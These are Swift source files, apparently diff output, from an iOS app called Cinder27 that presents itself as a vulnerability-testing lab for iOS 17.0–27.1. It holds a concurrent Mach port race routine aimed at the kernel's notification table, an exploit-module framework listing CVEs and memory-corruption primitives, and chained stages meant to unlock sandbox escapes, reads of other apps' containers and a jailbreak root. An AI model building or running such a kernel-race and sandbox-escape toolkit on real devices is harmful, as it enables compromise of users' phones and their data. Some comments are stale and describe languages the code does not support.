case KERN_INVALID_RIGHT: return "KERN_INVALID_RIGHT"
case KERN_INVALID_ARGUMENT: return "KERN_INVALID_ARGUMENT"
case KERN_NO_SPACE: return "KERN_NO_SPACE"
case KERN_UREFS_OVERFLOW: return "KERN_UREFS_OVERFLOW"
case KERN_INVALID_CAPABILITY: return "KERN_INVALID_CAPABILITY"
case KERN_PROTECTION_FAILURE: return "KERN_PROTECTION_FAILURE"
case KERN_NO_ACCESS: return "KERN_NO_ACCESS"
case KERN_RESOURCE_SHORTAGE: return "KERN_RESOURCE_SHORTAGE"
case MACH_SEND_NO_BUFFER: return "MACH_SEND_NO_BUFFER"
case MACH_SEND_INVALID_DEST: return "MACH_SEND_INVALID_DEST"
default: return "kr=\(kr)"
}
}
/// One worker's ring of ports: allocate, arm two notification types, half-teardown,
/// send into the survivors, then release everything. Returns the counters it produced.
private static func ring(task: mach_port_t, depth: Int, budget: inout Int,
refused: inout Int,
record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int) {
var alloc = 0, notify = 0, send = 0, dealloc = 0
var ports: [mach_port_name_t] = []
ports.reserveCapacity(depth)
for _ in 0..<depth {
guard budget > 0 else { break }
var n: mach_port_name_t = 0
let kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &n)
if kr == KERN_SUCCESS {
ports.append(n)
alloc += 1
budget -= 1
} else {
record(kr)
break
}
}
// Two notification types per port. MACH_MSG_TYPE_MAKE_SEND on our own receive
// right keeps the port alive without an extra explicit right to clean up.
for p in ports {
var prev: mach_port_t = 0
let kr1 = mach_port_request_notification(
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
if kr1 != KERN_SUCCESS { record(kr1); if kr1 == KERN_INVALID_CAPABILITY { refused += 1 } }
if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
notify += 1
var prev2: mach_port_t = 0
let kr2 = mach_port_request_notification(
task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev2)
if kr2 != KERN_SUCCESS { record(kr2); if kr2 == KERN_INVALID_CAPABILITY { refused += 1 } }
if prev2 != 0 { _ = mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1) }
notify += 1
}
// Teardown half the ring while the other half still holds armed notifications —
// that is the interleaving the request table has to survive.
//
// Never decrement a right we do not hold: on the simulator `mach_port_mod_refs`
// with a negative delta against a zero send-ref count does not return an error,
// it SIGKILLs the process. Check first, always.
for (i, p) in ports.enumerated() where i % 2 == 0 {
var refs: mach_port_urefs_t = 0
if mach_port_get_refs(task, p, MACH_PORT_RIGHT_SEND, &refs) == KERN_SUCCESS, refs > 0 {
let kr = mach_port_mod_refs(task, p, MACH_PORT_RIGHT_SEND, -1)
if kr != KERN_SUCCESS { record(kr) }
}
dealloc += 1
}
for (i, p) in ports.enumerated() where i % 2 == 1 {
var header = mach_msg_header_t()
header.msgh_bits = mach_msg_bits_t(MACH_MSG_TYPE_COPY_SEND)
header.msgh_size = mach_msg_size_t(MemoryLayout<mach_msg_header_t>.size)
header.msgh_remote_port = p
header.msgh_local_port = 0
header.msgh_id = 0
let kr = mach_msg_send(&header)
if kr != KERN_SUCCESS { record(kr) }
send += 1
}
// Release every remaining right, then the name. `mach_port_destruct` with a
// urefs delta of 0 only succeeds once the right count is already 0, which is why
// the mod_refs above has to happen first.
for p in ports {
var urefs: mach_port_urefs_t = 0
if mach_port_get_refs(task, p, MACH_PORT_RIGHT_SEND, &urefs) == KERN_SUCCESS, urefs > 0 {
_ = mach_port_mod_refs(task, p, MACH_PORT_RIGHT_SEND, -Int32(urefs))
}
let kr = mach_port_destruct(task, p, 0, 0)
if kr != KERN_SUCCESS {
// fall back to destroy, which tolerates outstanding rights
_ = mach_port_destroy(task, p)
}
dealloc += 1
}
return (alloc, notify, send, dealloc)
}
/// Drive the interleaving for `seconds`, with a bounded number of workers and a hard
/// allocation budget shared across all of them.
static func race(seconds: TimeInterval = 6.0, workers: Int = 4, depth: Int = 48) -> Stats {
var stats = Stats()
let lock = NSLock()
let deadline = Date().addingTimeInterval(seconds)
let task = mach_task_self_
var budget = totalBudget
func record(_ kr: kern_return_t) {
guard kr != KERN_SUCCESS else { return }
lock.lock()
stats.kernelErrors[name(kr), default: 0] += 1
lock.unlock()
}
DispatchQueue.concurrentPerform(iterations: workers) { _ in
var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0
while Date() < deadline {
lock.lock()
let remaining = budget
lock.unlock()
if remaining <= 0 {
lock.lock(); stats.budgetExhausted = true; lock.unlock()
break
}
var slice = min(depth, remaining)
var localRefused = 0
let result = ring(task: task, depth: slice, budget: &slice, refused: &localRefused) { record($0) }
if localRefused > 0 {
lock.lock(); stats.notificationsRefused += localRefused; lock.unlock()
}
localAlloc += result.alloc
localNotify += result.notify
localSend += result.send
localDealloc += result.dealloc
localOps += 4
lock.lock()
budget -= result.alloc
lock.unlock()
}
lock.lock()
stats.operations += localOps
stats.allocations += localAlloc
stats.notifications += localNotify
stats.sends += localSend
stats.deallocations += localDealloc
lock.unlock()
}
return stats
}
/// Cheap baseline: does the process even hold a send right to the bootstrap port, and
/// can it enumerate its own port space? Everything past this is privilege work.
static func baseline() -> [String: String] {
var out: [String: String] = [:]
let task = mach_task_self_
var bootstrap: mach_port_t = 0
let kr = task_get_special_port(task, TASK_BOOTSTRAP_PORT, &bootstrap)
out["bootstrap"] = "\(name(kr)) port=\(bootstrap)"
var names: mach_port_name_array_t?
var types: mach_port_type_array_t?
var nameCount: mach_msg_type_number_t = 0
var typeCount: mach_msg_type_number_t = 0
let kr2 = mach_port_names(task, &names, &nameCount, &types, &typeCount)
out["port_names"] = "\(name(kr2)) count=\(nameCount)"
if let n = names {
vm_deallocate(task,
vm_address_t(UInt(bitPattern: n)),
vm_size_t(nameCount) * vm_size_t(MemoryLayout<mach_port_name_t>.size))
}
if let t = types {
vm_deallocate(task,
vm_address_t(UInt(bitPattern: t)),
vm_size_t(typeCount) * vm_size_t(MemoryLayout<mach_port_type_t>.size))
}
// The name-space ceiling matters for how hard the race can be driven.
out["name_space"] = "\(nameCount)" + tl(" 已用 / 预算 ") + "\(liveBudget)"
return out
}
}
+333
View File
@@ -0,0 +1,333 @@
import Foundation
import Darwin
import UIKit
// MARK: - Byte helpers
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
static func be32(_ v: UInt32) -> [UInt8] {
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
}
static func le32(_ v: UInt32) -> [UInt8] {
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
}
static func be64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
}
static func le64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
}
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
func hexdump(_ data: Data, limit: Int = 4096) -> String {
let bytes = [UInt8](data.prefix(limit))
var out = ""
var offset = 0
while offset < bytes.count {
let end = min(offset + 16, bytes.count)
let slice = bytes[offset..<end]
let hex = slice.map { String(format: "%02x", $0) }.enumerated()
.map { $0.offset == 7 ? $0.element + " " : $0.element }
.joined(separator: " ")
let ascii = slice.map { ($0 >= 0x20 && $0 < 0x7f) ? String(UnicodeScalar($0)) : "." }.joined()
out += String(format: "%08x ", offset) + hex.padding(toLength: 48, withPad: " ", startingAt: 0) + " " + ascii + "\n"
offset = end
}
if data.count > limit { out += "... (\(data.count) bytes total)\n" }
return out
}
// MARK: - sysctl
func sysctlString(_ name: String) -> String? {
var size = 0
guard sysctlbyname(name, nil, &size, nil, 0) == 0, size > 0 else { return nil }
var buffer = [CChar](repeating: 0, count: size + 1)
guard sysctlbyname(name, &buffer, &size, nil, 0) == 0 else { return nil }
return String(cString: buffer)
}
func sysctlUInt64(_ name: String) -> UInt64? {
var size = 0
guard sysctlbyname(name, nil, &size, nil, 0) == 0, size == 8 else { return nil }
var value: UInt64 = 0
var localSize = size
guard sysctlbyname(name, &value, &localSize, nil, 0) == 0 else { return nil }
return value
}
// MARK: - dlsym
final class DyLib {
static let shared = DyLib()
private var handles: [String: UnsafeMutableRawPointer] = [:]
private let lock = NSLock()
func handle(_ path: String) -> UnsafeMutableRawPointer? {
lock.lock(); defer { lock.unlock() }
if let h = handles[path] { return h }
guard let h = dlopen(path, RTLD_NOW | RTLD_GLOBAL) else { return nil }
handles[path] = h
return h
}
/// Resolve a symbol across the shared cache libraries we care about.
func symbol(_ name: String, in libraries: [String] = DyLib.defaultLibraries) -> UnsafeMutableRawPointer? {
if let direct = dlsym(UnsafeMutableRawPointer(bitPattern: -2), name) { return direct }
for lib in libraries {
if let h = handle(lib), let s = dlsym(h, name) { return s }
}
return nil
}
static let defaultLibraries = [
"/usr/lib/libSystem.B.dylib",
"/System/Library/Frameworks/CoreMedia.framework/CoreMedia",
"/System/Library/Frameworks/VideoToolbox.framework/VideoToolbox",
"/System/Library/Frameworks/AudioToolbox.framework/AudioToolbox",
"/System/Library/PrivateFrameworks/AudioToolboxCore.framework/AudioToolboxCore",
"/usr/lib/libarchive.2.dylib",
"/System/Library/Frameworks/Accelerate.framework/Accelerate",
"/System/Library/Frameworks/IOKit.framework/IOKit",
"/System/Library/Frameworks/Security.framework/Security",
"/usr/lib/libcompression.dylib",
]
}
// MARK: - csops / codesign state
enum CodeSign {
struct State {
var flags: UInt32 = 0
var valid: Bool = false
var descriptions: [String] = []
}
static func current() -> State {
var st = State()
guard let sym = DyLib.shared.symbol("csops") else { return st }
typealias Fn = @convention(c) (pid_t, UInt32, UnsafeMutableRawPointer?, Int) -> Int32
let fn = unsafeBitCast(sym, to: Fn.self)
var flags: UInt32 = 0
let rc = withUnsafeMutablePointer(to: &flags) { ptr -> Int32 in
fn(getpid(), 0, UnsafeMutableRawPointer(ptr), MemoryLayout<UInt32>.size)
}
guard rc == 0 else { return st }
st.flags = flags
st.valid = true
let names: [(UInt32, String)] = [
(0x00000001, "CS_VALID"),
(0x00000002, "CS_ADHOC"),
(0x00000004, "CS_GET_TASK_ALLOW"),
(0x00000008, "CS_INSTALLER"),
(0x00000010, "CS_HARD"),
(0x00000020, "CS_KILL"),
(0x00000040, "CS_CHECK_EXPIRATION"),
(0x00000080, "CS_RESTRICT"),
(0x00000100, "CS_ENFORCEMENT"),
(0x00000200, "CS_REQUIRE_LV"),
(0x00000400, "CS_ENTITLEMENTS_VALIDATED"),
(0x00000800, "CS_NVRAM_UNRESTRICTED"),
(0x00001000, "CS_RUNTIME"),
(0x00002000, "CS_LINKER_SIGNED"),
]
st.descriptions = names.filter { flags & $0.0 != 0 }.map { $0.1 }
return st
}
}
// MARK: - entitlements (in-process)
enum Entitlements {
static func dump() -> [String: Any] {
guard let createSym = DyLib.shared.symbol("SecTaskCreateFromSelf"),
let copySym = DyLib.shared.symbol("SecTaskCopyValueForEntitlement") else { return [:] }
typealias CreateFn = @convention(c) (CFAllocator?) -> CFTypeRef?
typealias CopyFn = @convention(c) (CFTypeRef?, CFString, UnsafeMutablePointer<Unmanaged<CFError>?>?) -> CFTypeRef?
let create = unsafeBitCast(createSym, to: CreateFn.self)
let copy = unsafeBitCast(copySym, to: CopyFn.self)
guard let task = create(nil) else { return [:] }
guard let value = copy(task, "entitlements" as CFString, nil) else { return [:] }
return (value as? [String: Any]) ?? [:]
}
}
// MARK: - Path reachability
struct PathProbe: Identifiable, Hashable {
let id = UUID()
let path: String
let readable: Bool
let writable: Bool
let entryCount: Int
let errno: Int32
let note: String
}
enum Probe {
static func path(_ rawPath: String) -> PathProbe {
let fm = FileManager.default
let p = Container.normalize(rawPath)
var readable = false
var writable = false
var count = 0
var err: Int32 = 0
var note = ""
if let listing = try? fm.contentsOfDirectory(atPath: p) {
readable = true
count = listing.count
} else {
err = errno
if fm.fileExists(atPath: p) { readable = true }
}
// isWritableFile is access(W_OK) — the sandbox answers that against the vnode path,
// not against the extension the app actually holds. Probe by writing instead, but
// only inside paths we are allowed to touch at all (never create files in /System).
let insideContainer = p.hasPrefix(Container.rootPath)
if insideContainer {
writable = Container.probe(URL(fileURLWithPath: p, isDirectory: true)).canWrite
} else if readable {
writable = fm.isWritableFile(atPath: p)
}
if !readable {
switch err {
case EACCES: note = tl("EPERM — 沙盒拒绝")
case ENOENT: note = tl("不存在")
case ENOTDIR: note = tl("路径中间不是目录")
default: note = Container.describe(err)
}
} else if !writable {
note = insideContainer ? tl("只读(探针未通过)") : tl("只读")
} else {
note = tl("可写")
}
return PathProbe(path: p, readable: readable, writable: writable,
entryCount: count, errno: err, note: note)
}
static let interestingRoots = [
"/",
"/System",
"/System/Library",
"/System/Library/CoreServices",
"/System/Library/Frameworks",
"/System/Library/PrivateFrameworks",
"/System/Library/Extensions",
"/System/Library/LaunchDaemons",
"/usr",
"/usr/lib",
"/usr/bin",
"/usr/share",
"/private/etc",
"/private/var",
"/private/var/mobile",
"/private/var/mobile/Library",
"/private/var/mobile/Containers",
"/private/var/mobile/Containers/Data",
"/private/var/mobile/Containers/Shared/AppGroup",
"/private/var/mobile/Media",
"/private/var/db",
"/private/var/jb",
"/private/preboot",
"/tmp",
"/var/tmp",
"/dev",
"/cores",
]
}
// MARK: - Mach / kernel interface
enum Mach {
static func taskSelf() -> mach_port_t { mach_task_self_ }
/// Host statistics page size etc. Cheap, always allowed.
static func vmStats() -> (free: UInt64, active: UInt64, wired: UInt64)? {
var stats = vm_statistics64_data_t()
var count = mach_msg_type_number_t(MemoryLayout<vm_statistics64_data_t>.size / MemoryLayout<integer_t>.size)
let kr = withUnsafeMutablePointer(to: &stats) { ptr -> kern_return_t in
ptr.withMemoryRebound(to: integer_t.self, capacity: Int(count)) { intPtr in
host_statistics64(mach_host_self(), HOST_VM_INFO64, intPtr, &count)
}
}
guard kr == KERN_SUCCESS else { return nil }
let pageSize = UInt64(vm_kernel_page_size)
return (UInt64(stats.free_count) * pageSize,
UInt64(stats.active_count) * pageSize,
UInt64(stats.wire_count) * pageSize)
}
}
// MARK: - Device model
struct DeviceModel {
let machine: String
let hwModel: String
let osVersion: String
let osBuild: String
let kernel: String
let cpuCount: Int
let physicalMemory: UInt64
let displayName: String
var marketingName: String {
let table: [String: String] = [
"iPhone17,1": "iPhone 16 Pro",
"iPhone17,2": "iPhone 16 Pro Max",
"iPhone17,3": "iPhone 16",
"iPhone17,4": "iPhone 16 Plus",
"iPhone17,5": "iPhone 16e",
"iPhone18,1": "iPhone 17 Pro",
"iPhone18,2": "iPhone 17 Pro Max",
"iPhone18,3": "iPhone 17",
"iPhone18,4": "iPhone 17 Air",
"iPhone19,1": "iPhone 18 Pro",
"iPhone19,2": "iPhone 18 Pro Max",
"iPhone19,3": "iPhone 18",
"iPhone19,4": "iPhone 18 Air",
]
return table[machine] ?? machine
}
/// The 27.2 fix window. Everything strictly below 27.2 carries the whole CVE set.
/// Mirrors VersionGate: 17.0 through 27.1 carry the live bugs, 27.2+ carries the fixes.
var vulnerabilityClass: String {
let parts = osVersion.split(separator: ".").compactMap { Int($0) }
guard let major = parts.first else { return "UNKNOWN" }
let minor = parts.count > 1 ? parts[1] : 0
if major < 17 { return "UNKNOWN" }
if major < 27 { return "VULNERABLE" }
if major == 27 { return minor < 2 ? "VULNERABLE" : "PATCHED" }
return "PATCHED"
}
var buildHint: String {
switch vulnerabilityClass {
case "VULNERABLE": return "Pre-27.2 build — all 82 localized fixes are live"
case "PATCHED": return "27.2 or later — the gate wave is in place"
default: return "unclassified build"
}
}
static func current() -> DeviceModel {
let v = ProcessInfo.processInfo.operatingSystemVersion
return DeviceModel(
machine: sysctlString("hw.machine") ?? "unknown",
hwModel: sysctlString("hw.model") ?? "unknown",
osVersion: "\(v.majorVersion).\(v.minorVersion)" + (v.patchVersion != 0 ? ".\(v.patchVersion)" : ""),
osBuild: sysctlString("kern.osversion") ?? "unknown",
kernel: sysctlString("kern.version") ?? "unknown",
cpuCount: ProcessInfo.processInfo.processorCount,
physicalMemory: ProcessInfo.processInfo.physicalMemory,
displayName: UIDevice.current.name
)
}
}
+260
View File
@@ -0,0 +1,260 @@
import Foundation
import SwiftUI
// MARK: - Localization
//
// A code-resident table rather than .lproj bundles: the build is a single swiftc
// invocation with no Xcode project, so resources would have to be copied by hand and
// kept in sync. One table is one source of truth.
//
// Language detection: Locale.preferredLanguages[0] → language code → match against the
// supported set → fall back to English. Region is ignored (pt-BR and pt-PT both map to
// nothing here; en-GB maps to English).
//
// Arabic forces RTL at the root view.
enum Lang: String, CaseIterable, Identifiable {
case en, zh
var id: String { rawValue }
/// Endonym — a language list is only usable if each entry is written in itself.
var native: String {
switch self {
case .en: return "English"
case .zh: return "中文"
}
}
/// Neither supported language is right-to-left.
var isRTL: Bool { false }
/// Locale used for number/date formatting.
var locale: Locale { Locale(identifier: rawValue) }
/// The language actually in effect (manual override, else detected).
static var resolved: Lang { L10n.shared.resolved() }
}
final class L10n: ObservableObject {
static let shared = L10n()
@Published private(set) var lang: Lang
private var override: Lang?
private init() {
lang = Self.detect()
}
static func detect() -> Lang {
if let forced = ProcessInfo.processInfo.environment["CINDER27_LANG"],
let l = Lang(rawValue: forced) {
return l
}
// Two languages only: Chinese (any variant, including zh-Hans / zh-Hant / zh-HK)
// maps to zh, everything else maps to English.
for identifier in Locale.preferredLanguages {
let code = identifier.split(separator: "-").first.map(String.init)?.lowercased() ?? ""
if code == "zh" { return .zh }
if code == "en" { return .en }
}
return .en
}
func set(_ language: Lang) {
override = language
lang = language
UserDefaults.standard.set(language.rawValue, forKey: "cinder27.lang")
objectWillChange.send()
}
/// Manual override persisted from the language picker, else the detected language.
func resolved() -> Lang {
if let o = override { return o }
if let saved = UserDefaults.standard.string(forKey: "cinder27.lang"),
let l = Lang(rawValue: saved) {
override = l
return l
}
return lang
}
}
/// Translate a key. Unknown keys return the key itself so a missing string is visible in
/// the UI instead of silently empty.
func t(_ key: String) -> String {
L10n.shared.string(key)
}
extension L10n {
func string(_ key: String) -> String {
let language = resolved()
if let row = Table.rows[key], let value = row[language] { return value }
if let row = Table.rows[key], let value = row[.en] { return value }
return key
}
}
// MARK: - Table
//
// Row order is fixed: en, zh, fr, ja, ru, de, es, ar.
enum Table {
static let order: [Lang] = [.en, .zh]
static func row(_ en: String, _ zh: String) -> [Lang: String] {
[.en: en, .zh: zh]
}
static let rows: [String: [Lang: String]] = [
// ---- tabs
"tab.overview": row("Overview", "总览"),
"tab.lab": row("POCs", "POCs"),
"tab.chain": row("Chain", "组合"),
"tab.mod": row("Toolkit", "改机"),
"tab.system": row("System", "系统"),
// ---- overview
"ov.headline": row("Vulnerability Testing", "漏洞测试"),
"ov.sub": row("%d primitives · %d localized 27.2 fixes", "%d 个原语 · %d 条 27.2 修复定位"),
"ov.target": row("Target device", "目标设备"),
"ov.model": row("Model", "机型"),
"ov.os": row("System", "系统"),
"ov.kernel": row("Kernel", "内核"),
"ov.memory": row("Memory", "内存"),
"ov.verdict": row("Verdict", "判定"),
"ov.capabilities": row("Privilege ladder", "权限阶梯"),
"ov.modules": row("Primitives", "模块"),
"ov.tested": row("Run", "已运行"),
"ov.died": row("Terminated", "进程终止"),
"ov.reset": row("Clear all results", "清空全部结果"),
"ov.log": row("Log", "日志"),
"ov.log.empty": row("No runs yet", "尚无运行记录"),
"ov.interrupted": row("Interrupted runs", "上次运行的中断记录"),
"ov.interrupted.note": row("Armed before the trigger, never disarmed — the process died inside these.", "触发前写入、未在返回后关闭 —— 进程在它们内部终止。"),
// ---- verdicts
"verdict.vulnerable": row("VULNERABLE", "易受攻击"),
"verdict.patched": row("PATCHED", "已修复"),
"verdict.unknown": row("UNKNOWN", "未判定"),
// ---- capability levels
"cap.l0": row("Container read/write", "容器内读写"),
"cap.l1": row("Read system volume", "读取系统卷"),
"cap.l2": row("Read /private/var/mobile/Library", "读取 /private/var/mobile/Library"),
"cap.l3": row("Read other app containers", "读取其它应用容器"),
"cap.l4": row("Load private libraries outside the shared cache", "加载共享缓存外的私有库"),
"cap.l5": row("Jailbreak root /private/var/jb", "越狱根目录 /private/var/jb"),
"cap.yes": row("reachable", "可达"),
"cap.no": row("sandbox denied", "沙盒拒绝"),
"cap.absent": row("absent", "不存在"),
"cap.notJailbroken": row("absent (not jailbroken)", "不存在(未越狱)"),
// ---- lab
"lab.title": row("Primitive lab", "漏洞实验室"),
"lab.untested": row("not run", "未运行"),
"lab.running": row("running", "运行中"),
"lab.completed": row("completed", "已完成"),
"lab.refused": row("refused", "被拒绝"),
"lab.died": row("terminated", "进程终止"),
"module.primitive": row("Primitive", "原语"),
"module.notes": row("Notes", "要点"),
"module.result": row("Result", "结果"),
"module.history": row("Run history", "运行记录"),
"module.run": row("Execute", "执行原语"),
"module.running": row("Running…", "运行中…"),
"module.close": row("Close", "关闭"),
"module.warning": row("If the process terminates inside this primitive the app exits. Reopen it and the entry reads \"terminated\" — that is the direct evidence this build is unpatched.", "若进程在该原语内终止,App 会直接退出。重新打开后这一条会被标记为「进程终止」,这就是该构建未修复的直接证据。"),
// ---- chain
"chain.title": row("Chain", "组合链"),
"chain.stage.run": row("Run this stage", "执行本阶段"),
"chain.unlock": row("Unlocks", "解锁"),
// ---- mod panes
"mod.title": row("Toolkit", "改机工具"),
"pane.files": row("Files", "文件"),
"pane.apps": row("Apps", "应用"),
"pane.prefs": row("Prefs", "偏好"),
"pane.procs": row("Processes", "进程"),
"pane.daemons": row("Daemons", "守护"),
"pane.crashes": row("Crashes", "崩溃"),
"pane.binary": row("Binary", "二进制"),
"pane.backup": row("Backup", "备份"),
"pane.ipa": row("IPA", "IPA"),
"pane.hex": row("Hex", "十六进制"),
"pane.xattr": row("Attrs", "属性"),
"pane.sqlite": row("SQLite", "数据库"),
"pane.fonts": row("Fonts", "字体"),
"pane.telemetry": row("Telemetry", "遥测"),
"pane.profiles": row("Profiles", "描述文件"),
"pane.cross": row("X-sandbox", "越界读"),
"pane.symlink": row("Symlink", "符号链接"),
"files.backup": row("backup written", "已写备份"),
"pane.hash": row("Hash", "哈希"),
"pane.archive": row("Archive", "归档"),
"pane.clipboard": row("Clipboard", "剪贴板"),
"pane.shortcuts": row("Actions", "快捷操作"),
// ---- files
"files.up": row("Up", "上一级"),
"files.jump": row("Jump", "跳转"),
"files.path": row("Path", "路径"),
"files.newFolder": row("New folder", "新建文件夹"),
"files.name": row("Name", "名称"),
"files.rename": row("Rename", "重命名"),
"files.copy": row("Copy", "复制"),
"files.move": row("Move", "移动"),
"files.delete": row("Delete", "删除"),
"files.duplicate": row("Duplicate", "创建副本"),
"files.info": row("Info", "信息"),
"files.text": row("Text", "文本"),
"files.hex": row("Hex", "十六进制"),
"files.package": row("Contents", "包内容"),
"files.writable": row("writable", "可写"),
"files.readonly": row("read-only", "只读"),
"files.cancel": row("Cancel", "取消"),
"files.save": row("Save", "保存"),
"files.select": row("Select a file", "选择文件"),
"files.empty": row("Empty directory", "目录为空"),
"files.copyTo": row("Copy to…", "复制到…"),
"files.moveTo": row("Move to…", "移动到…"),
"files.done": row("Done", "完成"),
"files.copied": row("Copied", "已复制"),
"files.moved": row("Moved", "已移动"),
"files.deleted": row("Deleted", "已删除"),
"files.renamed": row("Renamed", "已重命名"),
"files.paste": row("Paste here", "粘贴到此处"),
"files.bookmarks": row("Bookmarks", "书签"),
// ---- system
"sys.title": row("System", "系统"),
"sys.device": row("Device", "设备"),
"sys.signature": row("Code signature", "签名状态"),
"sys.entitlements": row("Entitlements", "Entitlements"),
"sys.sandbox": row("Sandbox path matrix", "沙盒路径矩阵"),
"sys.log": row("Log", "日志"),
"sys.language": row("Language", "语言"),
"sys.language.auto": row("Follow system", "跟随系统"),
// ---- gate
"gate.checking": row("Checking device…", "正在检测设备…"),
"gate.unsupported.title": row("Unsupported system", "系统版本不支持"),
"gate.unsupported.body": row("This build targets iOS 17.0 – 27.1. From 27.2 onward every fix these primitives demonstrate has already shipped, so nothing here would fire. Downgrade from 27.2 is not possible — the signing window is closed.", "本工具面向 iOS 17.0 – 27.1。自 27.2 起,这些原语所演示的全部修复均已发布,任何一条都不会触发。27.2 无法降级 —— 签名窗口已关闭。"),
"gate.supported": row("Supported system", "系统版本符合"),
"gate.enter": row("Enter", "进入"),
"gate.required": row("Requires", "要求"),
"gate.detected": row("Detected", "检测到"),
"gate.build": row("Build", "构建号"),
"gate.recheck": row("Re-check", "重新检测"),
// ---- common
"common.ok": row("OK", "确定"),
"common.error": row("Error", "错误"),
"common.none": row("none", "无"),
"common.yes": row("yes", "是"),
"common.no": row("no", "否"),
"common.loading": row("Loading…", "载入中…"),
"common.unknown": row("unknown", "未知"),
]
}
+197
View File
@@ -0,0 +1,197 @@
import Foundation
import Combine
enum Reach: String, Codable, CaseIterable {
case inProcess = "进程内"
case systemProcess = "系统进程"
case kernel = "内核"
case entitlementGated = "权限受限"
case radio = "无线链路"
case peripheral = "外设"
/// Localized display name; rawValue stays Chinese as the stable storage key.
var label: String { tl(rawValue) }
}
enum PrimitiveKind: String, Codable, CaseIterable {
case oobWrite = "OOB 写"
case oobRead = "OOB 读"
case uaf = "UAF"
case infoLeak = "信息泄露"
case typeConfusion = "类型混淆"
case intOverflow = "整数溢出"
case probe = "探测"
/// Localized display name; rawValue stays Chinese as the stable storage key.
var label: String { tl(rawValue) }
}
struct ModuleOutcome {
var headline: String
var detail: String = ""
var evidence: [String] = []
var artifacts: [URL] = []
var elapsedMs: Int = 0
/// Set only when the module threw. The headline is display text and may be localized,
/// so it must never be compared against a literal to detect failure.
var failed: Bool = false
}
final class RunContext {
let workdir: URL
let journal: GuardJournal
init(workdir: URL, journal: GuardJournal) {
self.workdir = workdir
self.journal = journal
}
@discardableResult
func write(_ name: String, _ data: Data) -> URL {
let url = workdir.appendingPathComponent(name)
try? data.write(to: url, options: .atomic)
return url
}
func seed(_ name: String) -> Data? {
guard let url = Bundle.main.url(forResource: name, withExtension: nil) else { return nil }
return try? Data(contentsOf: url)
}
func arm(_ id: String, _ detail: String) { journal.arm(id, detail) }
func disarm(_ id: String, _ detail: String = "") { journal.disarm(id, phase: "done", detail: detail) }
func fail(_ id: String, _ detail: String) { journal.disarm(id, phase: "threw", detail: detail) }
}
struct ExploitModule: Identifiable {
let id: String
/// Chinese source text. English lives in ModuleText, keyed by `id`.
let titleZh: String
let cve: String
let component: String
let primitive: PrimitiveKind
let reach: Reach
/// 1 = primitive fired on a device before, 2 = fix site proven at instruction level,
/// 3 = reachability probe / honest negative.
let tier: Int
let summaryZh: String
let notesZh: String
let run: (RunContext) throws -> ModuleOutcome
var title: String { ModuleText.resolve(id, .title, zh: titleZh) }
var summary: String { ModuleText.resolve(id, .summary, zh: summaryZh) }
var notes: String { ModuleText.resolve(id, .notes, zh: notesZh) }
}
struct LabError: LocalizedError {
let message: String
var errorDescription: String? { message }
}
final class LabEngine: ObservableObject {
@Published private(set) var outcomes: [String: ModuleOutcome] = [:]
@Published private(set) var running: Set<String> = []
@Published private(set) var logLines: [String] = []
let journal: GuardJournal
let workdir: URL
init() {
// Create every standard directory before anything writes into it. This is the single
// place that decides whether the container is usable.
Container.ensureAll()
journal = GuardJournal()
workdir = Container.work
try? FileManager.default.createDirectory(at: workdir, withIntermediateDirectories: true)
}
func log(_ line: String) {
let stamped = String(format: "[%02d:%02d:%02d] %@",
Calendar.current.component(.hour, from: Date()),
Calendar.current.component(.minute, from: Date()),
Calendar.current.component(.second, from: Date()),
line)
DispatchQueue.main.async {
self.logLines.append(stamped)
if self.logLines.count > 400 { self.logLines.removeFirst(self.logLines.count - 400) }
}
}
func run(_ module: ExploitModule) {
guard !running.contains(module.id) else { return }
running.insert(module.id)
log("▸ " + module.title + " [" + module.cve + "]")
let ctx = RunContext(workdir: workdir, journal: journal)
let started = Date()
DispatchQueue.global(qos: .userInitiated).async {
do {
var out = try module.run(ctx)
out.elapsedMs = Int(Date().timeIntervalSince(started) * 1000)
DispatchQueue.main.async {
self.outcomes[module.id] = out
self.running.remove(module.id)
self.log("✓ \(module.title) — \(out.headline) (\(out.elapsedMs) ms)")
}
} catch {
let message = (error as? LocalizedError)?.errorDescription ?? error.localizedDescription
ctx.fail(module.id, message)
var out = ModuleOutcome(headline: tl("失败"), detail: message, failed: true)
out.elapsedMs = Int(Date().timeIntervalSince(started) * 1000)
DispatchQueue.main.async {
self.outcomes[module.id] = out
self.running.remove(module.id)
self.log("✗ \(module.title) — \(message)")
}
}
}
}
func outcome(for id: String) -> ModuleOutcome? { outcomes[id] }
}
extension LabEngine {
/// Sequential run — used by the chain view, where stage N only means something after
/// stage N-1 has produced its artifact.
func runSequence(_ modules: [ExploitModule], label: String) {
log("══ " + tl("序列开始: ") + "\(label)(\(modules.count) " + tl("个原语") + ")")
// Kick the whole sequence off on main, then hand each stage to a background queue.
// Never `main.sync` from the worker: that is a deadlock waiting for main to be busy
// on something that needs the worker.
runStage(modules, index: 0, label: label)
}
private func runStage(_ modules: [ExploitModule], index: Int, label: String) {
guard index < modules.count else {
log("══ " + tl("序列结束: ") + "\(label)")
return
}
let module = modules[index]
running.insert(module.id)
